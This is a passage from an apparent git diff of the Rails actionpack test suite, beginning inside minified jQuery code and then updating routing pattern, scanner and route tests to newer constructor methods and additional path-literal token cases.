type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof e?it.extend({},e):{complete:n||!n&&t||it.isFunction(e)&&e,duration:e,easing:n&&t||t&&!it.isFunction(t)&&t};return r.duration=it.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in it.fx.speeds?it.fx.speeds[r.duration]:it.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){it.isFunction(r.old)&&r.old.call(this),r.queue&&it.dequeue(this,r.queue)},r},it.fn.extend({fadeTo:function(e,t,n,r){return this.filter(jt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=it.isEmptyObject(e),o=it.speed(t,n,r),a=function(){var t=R(this,it.extend({},e),o);(i||it._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=it.timers,a=it._data(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&yn.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));(t||!n)&&it.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=it._data(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=it.timers,a=r?r.length:0;for(n.finish=!0,it.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),it.each(["toggle","show","hide"],function(e,t){var n=it.fn[t];it.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(q(t,!0),e,r,i)}}),it.each({slideDown:q("show"),slideUp:q("hide"),slideToggle:q("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){it.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),it.timers=[],it.fx.tick=function(){var e,t=it.timers,n=0;for(hn=it.now();n<t.length;n++)e=t[n],e()||t[n]!==e||t.splice(n--,1);t.length||it.fx.stop(),hn=void 0},it.fx.timer=function(e){it.timers.push(e),e()?it.fx.start():it.timers.pop()},it.fx.interval=13,it.fx.start=function(){mn||(mn=setInterval(it.fx.tick,it.fx.interval))},it.fx.stop=function(){clearInterval(mn),mn=null},it.fx.speeds={slow:600,fast:200,_default:400},it.fn.delay=function(e,t){return e=it.fx?it.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},function(){var e,t,n,r,i;t=ht.createElement("div"),t.setAttribute("className","t"),t.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",r=t.getElementsByTagName("a")[0],n=ht.createElement("select"),i=n.appendChild(ht.createElement("option")),e=t.getElementsByTagName("input")[0],r.style.cssText="top:1px",nt.getSetAttribute="t"!==t.className,nt.style=/top/.test(r.getAttribute("style")),nt.hrefNormalized="/a"===r.getAttribute("href"),nt.checkOn=!!e.value,nt.optSelected=i.selected,nt.enctype=!!ht.createElement("form").enctype,n.disabled=!0,nt.optDisabled=!i.disabled,e=ht.createElement("input"),e.setAttribute("value",""),nt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),nt.radioValue="t"===e.value}();var wn=/\r/g;it.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=it.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,it(this).val()):e,null==i?i="":"number"==typeof i?i+="":it.isArray(i)&&(i=it.map(i,function(e){return null==e?"":e+""})),t=it.valHooks[this.type]||it.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=it.valHooks[i.type]||it.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(wn,""):null==n?"":n)}}}),it.extend({valHooks:{option:{get:function(e){var t=it.find.attr(e,"value");return null!=t?t:it.trim(it.text(e))}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(nt.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&it.nodeName(n.parentNode,"optgroup"))){if(t=it(n).val(),o)return t;a.push(t)}return a},set:function(e,t){for(var n,r,i=e.options,o=it.makeArray(t),a=i.length;a--;)if(r=i[a],it.inArray(it.valHooks.option.get(r),o)>=0)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),it.each(["radio","checkbox"],function(){it.valHooks[this]={set:function(e,t){return it.isArray(t)?e.checked=it.inArray(it(e).val(),t)>=0:void 0}},nt.checkOn||(it.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tn,En,kn=it.expr.attrHandle,Cn=/^(?:checked|selected)$/i,Nn=nt.getSetAttribute,Sn=nt.input;it.fn.extend({attr:function(e,t){return At(this,it.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){it.removeAttr(this,e)})}}),it.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(e&&3!==o&&8!==o&&2!==o)return typeof e.getAttribute===Et?it.prop(e,t,n):(1===o&&it.isXMLDoc(e)||(t=t.toLowerCase(),r=it.attrHooks[t]||(it.expr.match.bool.test(t)?En:Tn)),void 0===n?r&&"get"in r&&null!==(i=r.get(e,t))?i:(i=it.find.attr(e,t),null==i?void 0:i):null!==n?r&&"set"in r&&void 0!==(i=r.set(e,n,t))?i:(e.setAttribute(t,n+""),n):void it.removeAttr(e,t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(bt);if(o&&1===e.nodeType)for(;n=o[i++];)r=it.propFix[n]||n,it.expr.match.bool.test(n)?Sn&&Nn||!Cn.test(n)?e[r]=!1:e[it.camelCase("default-"+n)]=e[r]=!1:it.attr(e,n,""),e.removeAttribute(Nn?n:r)},attrHooks:{type:{set:function(e,t){if(!nt.radioValue&&"radio"===t&&it.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}}}),En={set:function(e,t,n){return t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var Dn=/[\t\r\n\f]/g;it.fn.extend({addClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u="string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):" ")){for(o=0;i=t[o++];)r.indexOf(" "+i+" ")<0&&(r+=i+" ");a=it.trim(r),n.className!==a&&(n.className=a)}return this},removeClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u=0===arguments.length||"string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):"")){for(o=0;i=t[o++];)for(;r.indexOf(" "+i+" ")>=0;)r=r.replace(" "+i+" "," ");a=e?it.trim(r):"",n.className!==a&&(n.className=a)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof 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\ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/gzip/foo.zoo.gz b/actionpack/test/fixtures/公共/gzip/foo.zoo.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/公共/gzip/foo.zoo.gz
diff --git a/actionpack/test/fixtures/公共/index.html b/actionpack/test/fixtures/公共/index.html
new file mode 100644
index 0000000000..525950ba6b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/index.html
@@ -0,0 +1 @@
+/index.html
\ No newline at end of file
diff --git a/actionpack/test/journey/gtg/transition_table_test.rb b/actionpack/test/journey/gtg/transition_table_test.rb
index 33acba8b65..b968780d8d 100644
--- a/actionpack/test/journey/gtg/transition_table_test.rb
+++ b/actionpack/test/journey/gtg/transition_table_test.rb
@@ -1,5 +1,5 @@
 require 'abstract_unit'
-require 'json'
+require 'active_support/json/decoding'
 
 module ActionDispatch
   module Journey
@@ -13,7 +13,7 @@ module ActionDispatch
             /articles/:id(.:format)
           }
 
-          json = JSON.load table.to_json
+          json = ActiveSupport::JSON.decode table.to_json
           assert json['regexp_states']
           assert json['string_states']
           assert json['accepting']
diff --git a/actionpack/test/journey/path/pattern_test.rb b/actionpack/test/journey/path/pattern_test.rb
index ce02104181..6939b426f6 100644
--- a/actionpack/test/journey/path/pattern_test.rb
+++ b/actionpack/test/journey/path/pattern_test.rb
@@ -16,9 +16,10 @@ module ActionDispatch
           '/:controller(.:format)'       => %r{\A/(#{x})(?:\.([^/.?]+))?\Z},
           '/:controller/*foo'            => %r{\A/(#{x})/(.+)\Z},
           '/:controller/*foo/bar'        => %r{\A/(#{x})/(.+)/bar\Z},
+          '/:foo|*bar'                   => %r{\A/(?:([^/.?]+)|(.+))\Z},
         }.each do |path, expected|
           define_method(:"test_to_regexp_#{path}") do
-            strexp = Router::Strexp.new(
+            strexp = Router::Strexp.build(
               path,
               { :controller => /.+/ },
               ["/", ".", "?"]
@@ -39,9 +40,10 @@ module ActionDispatch
           '/:controller(.:format)'       => %r{\A/(#{x})(?:\.([^/.?]+))?},
           '/:controller/*foo'            => %r{\A/(#{x})/(.+)},
           '/:controller/*foo/bar'        => %r{\A/(#{x})/(.+)/bar},
+          '/:foo|*bar'                   => %r{\A/(?:([^/.?]+)|(.+))},
         }.each do |path, expected|
           define_method(:"test_to_non_anchored_regexp_#{path}") do
-            strexp = Router::Strexp.new(
+            strexp = Router::Strexp.build(
               path,
               { :controller => /.+/ },
               ["/", ".", "?"],
@@ -65,7 +67,7 @@ module ActionDispatch
           '/:controller/*foo/bar'        => %w{ controller foo },
         }.each do |path, expected|
           define_method(:"test_names_#{path}") do
-            strexp = Router::Strexp.new(
+            strexp = Router::Strexp.build(
               path,
               { :controller => /.+/ },
               ["/", ".", "?"]
@@ -75,12 +77,8 @@ module ActionDispatch
           end
         end
 
-        def test_to_raise_exception_with_bad_expression
-          assert_raise(ArgumentError, "Bad expression: []") { Pattern.new [] }
-        end
-
         def test_to_regexp_with_extended_group
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/page/:name',
             { :name => /
               #ROFL
@@ -101,13 +99,13 @@ module ActionDispatch
             ['/:foo(/:bar)', %w{ bar }],
             ['/:foo(/:bar)/:lol(/:baz)', %w{ bar baz }],
           ].each do |pattern, list|
-            path = Pattern.new pattern
+            path = Pattern.from_string pattern
             assert_equal list.sort, path.optional_names.sort
           end
         end
 
         def test_to_regexp_match_non_optional
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/:name',
             { :name => /\d+/ },
             ["/", ".", "?"]
@@ -118,7 +116,7 @@ module ActionDispatch
         end
 
         def test_to_regexp_with_group
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/page/:name',
             { :name => /(tender|love)/ },
             ["/", ".", "?"]
@@ -131,7 +129,7 @@ module ActionDispatch
 
         def test_ast_sets_regular_expressions
           requirements = { :name => /(tender|love)/, :value => /./ }
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/page/:name/:value',
             requirements,
             ["/", ".", "?"]
@@ -148,7 +146,7 @@ module ActionDispatch
         end
 
         def test_match_data_with_group
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/page/:name',
             { :name => /(tender|love)/ },
             ["/", ".", "?"]
@@ -160,7 +158,7 @@ module ActionDispatch
         end
 
         def test_match_data_with_multi_group
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/page/:name/:id',
             { :name => /t(((ender|love)))()/ },
             ["/", ".", "?"]
@@ -175,7 +173,7 @@ module ActionDispatch
 
         def test_star_with_custom_re
           z = /\d+/
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/page/*foo',
             { :foo => z },
             ["/", ".", "?"]
@@ -185,7 +183,7 @@ module ActionDispatch
         end
 
         def test_insensitive_regexp_with_group
-          strexp = Router::Strexp.new(
+          strexp = Router::Strexp.build(
             '/page/:name/aaron',
             { :name => /(tender|love)/i },
             ["/", ".", "?"]
@@ -197,7 +195,7 @@ module ActionDispatch
         end
 
         def test_to_regexp_with_strexp
-          strexp = Router::Strexp.new('/:controller', { }, ["/", ".", "?"])
+          strexp = Router::Strexp.build('/:controller', { }, ["/", ".", "?"])
           path = Pattern.new strexp
           x = %r{\A/([^/.?]+)\Z}
 
@@ -205,20 +203,20 @@ module ActionDispatch
         end
 
         def test_to_regexp_defaults
-          path = Pattern.new '/:controller(/:action(/:id))'
+          path = Pattern.from_string '/:controller(/:action(/:id))'
           expected = %r{\A/([^/.?]+)(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z}
           assert_equal expected, path.to_regexp
         end
 
         def test_failed_match
-          path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+          path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
           uri = 'content'
 
           assert_not path =~ uri
         end
 
         def test_match_controller
-          path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+          path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
           uri = '/content'
 
           match = path =~ uri
@@ -230,7 +228,7 @@ module ActionDispatch
         end
 
         def test_match_controller_action
-          path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+          path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
           uri = '/content/list'
 
           match = path =~ uri
@@ -242,7 +240,7 @@ module ActionDispatch
         end
 
         def test_match_controller_action_id
-          path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+          path = Pattern.from_string '/:controller(/:action(/:id(.:format)))'
           uri = '/content/list/10'
 
           match = path =~ uri
@@ -254,7 +252,7 @@ module ActionDispatch
         end
 
         def test_match_literal
-          path = Path::Pattern.new "/books(/:action(.:format))"
+          path = Path::Pattern.from_string "/books(/:action(.:format))"
 
           uri = '/books'
           match = path =~ uri
@@ -264,7 +262,7 @@ module ActionDispatch
         end
 
         def test_match_literal_with_action
-          path = Path::Pattern.new "/books(/:action(.:format))"
+          path = Path::Pattern.from_string "/books(/:action(.:format))"
 
           uri = '/books/list'
           match = path =~ uri
@@ -274,7 +272,7 @@ module ActionDispatch
         end
 
         def test_match_literal_with_action_and_format
-          path = Path::Pattern.new "/books(/:action(.:format))"
+          path = Path::Pattern.from_string "/books(/:action(.:format))"
 
           uri = '/books/list.rss'
           match = path =~ uri
diff --git a/actionpack/test/journey/route/definition/scanner_test.rb b/actionpack/test/journey/route/definition/scanner_test.rb
index 624e6df51a..7a510f1e07 100644
--- a/actionpack/test/journey/route/definition/scanner_test.rb
+++ b/actionpack/test/journey/route/definition/scanner_test.rb
@@ -11,12 +11,25 @@ module ActionDispatch
         # /page/:id(/:action)(.:format)
         def test_tokens
           [
-            ['/',      [[:SLASH, '/']]],
-            ['*omg',   [[:STAR, '*omg']]],
-            ['/page',  [[:SLASH, '/'], [:LITERAL, 'page']]],
-            ['/~page', [[:SLASH, '/'], [:LITERAL, '~page']]],
-            ['/pa-ge', [[:SLASH, '/'], [:LITERAL, 'pa-ge']]],
-            ['/:page', [[:SLASH, '/'], [:SYMBOL, ':page']]],
+            ['/',       [[:SLASH, '/']]],
+            ['*omg',    [[:STAR, '*omg']]],
+            ['/page',   [[:SLASH, '/'], [:LITERAL, 'page']]],
+            ['/page!',  [[:SLASH, '/'], [:LITERAL, 'page!']]],
+            ['/page$',  [[:SLASH, '/'], [:LITERAL, 'page$']]],
+            ['/page&',  [[:SLASH, '/'], [:LITERAL, 'page&']]],
+            ["/page'",  [[:SLASH, '/'], [:LITERAL, "page'"]]],
+            ['/page*',  [[:SLASH, '/'], [:LITERAL, 'page*']]],
+            ['/page+',  [[:SLASH, '/'], [:LITERAL, 'page+']]],
+            ['/page,',  [[:SLASH, '/'], [:LITERAL, 'page,']]],
+            ['/page;',  [[:SLASH, '/'], [:LITERAL, 'page;']]],
+            ['/page=',  [[:SLASH, '/'], [:LITERAL, 'page=']]],
+            ['/page@',  [[:SLASH, '/'], [:LITERAL, 'page@']]],
+            ['/page\:', [[:SLASH, '/'], [:LITERAL, 'page:']]],
+            ['/page\(', [[:SLASH, '/'], [:LITERAL, 'page(']]],
+            ['/page\)', [[:SLASH, '/'], [:LITERAL, 'page)']]],
+            ['/~page',  [[:SLASH, '/'], [:LITERAL, '~page']]],
+            ['/pa-ge',  [[:SLASH, '/'], [:LITERAL, 'pa-ge']]],
+            ['/:page',  [[:SLASH, '/'], [:SYMBOL, ':page']]],
             ['/(:page)', [
                           [:SLASH, '/'],
                           [:LPAREN, '('],
diff --git a/actionpack/test/journey/route_test.rb b/actionpack/test/journey/route_test.rb
index cbe6284714..21d867aca0 100644
--- a/actionpack/test/journey/route_test.rb
+++ b/actionpack/test/journey/route_test.rb
@@ -5,7 +5,7 @@ module ActionDispatch
     class TestRoute < ActiveSupport::TestCase
       def test_initialize
         app      = Object.new
-        path     = Path::Pattern.new '/:controller(/:action(/:id(.:format)))'
+        path     = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))'
         defaults = {}
         route    = Route.new("name", app, path, {}, defaults)
 
@@ -16,7 +16,7 @@ module ActionDispatch
 
       def test_route_adds_itself_as_memo
         app      = Object.new
-        path     = Path::Pattern.new '/:controller(/:action(/:id(.:format)))'
+        path     = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))'
         defaults = {}
         route    = Route.new("name", app, path, {}, defaults)
 
@@ -26,21 +26,21 @@ module ActionDispatch
       end
 
       def test_ip_address
-        path  = Path::Pattern.new '/messages/:id(.:format)'
+        path  = Path::Pattern.from_string '/messages/:id(.:format)'
         route = Route.new("name", nil, path, {:ip => '192.168.1.1'},
                           { :controller => 'foo', :action => 'bar' })
         assert_equal '192.168.1.1', route.ip
       end
 
       def test_default_ip
-        path  = Path::Pattern.new '/messages/:id(.:format)'
+        path  = Path::Pattern.from_string '/messages/:id(.:format)'
         route = Route.new("name", nil, path, {},
                           { :controller => 'foo', :action => 'bar' })
         assert_equal(//, route.ip)
       end
 
       def test_format_with_star
-        path  = Path::Pattern.new '/:controller/*extra'
+        path  = Path::Pattern.from_string '/:controller/*extra'
         route = Route.new("name", nil, path, {},
                           { :controller => 'foo', :action => 'bar' })
         assert_equal '/foo/himom', route.format({
@@ -50,7 +50,7 @@ module ActionDispatch
       end
 
       def test_connects_all_match
-        path  = Path::Pattern.new '/:controller(/:action(/:id(.:format)))'
+        path  = Path::Pattern.from_string '/:controller(/:action(/:id(.:format)))'
         route = Route.new("name", nil, path, {:action => 'bar'}, { :controller => 'foo' })
 
         assert_equal '/foo/bar/10', route.format({
@@ -61,21 +61,21 @@ module ActionDispatch
       end
 
       def test_extras_are_not_included_if_optional
-        path  = Path::Pattern.new '/page/:id(/:action)'
+        path  = Path::Pattern.from_string '/page/:id(/:action)'
         route = Route.new("name", nil, path, { }, { :action => 'show' })
 
         assert_equal '/page/10', route.format({ :id => 10 })
       end
 
       def test_extras_are_not_included_if_optional_with_parameter
-        path  = Path::Pattern.new '(/sections/:section)/pages/:id'
+        path  = Path::Pattern.from_string '(/sections/:section)/pages/:id'
         route = Route.new("name", nil, path, { }, { :action => 'show' })
 
         assert_equal '/pages/10', route.format({:id => 10})
       end
 
       def test_extras_are_not_included_if_optional_parameter_is_nil
-        path  = Path::Pattern.new '(/sections/:section)/pages/:id'
+        path  = Path::Pattern.from_string '(/sections/:section)/pages/:id'
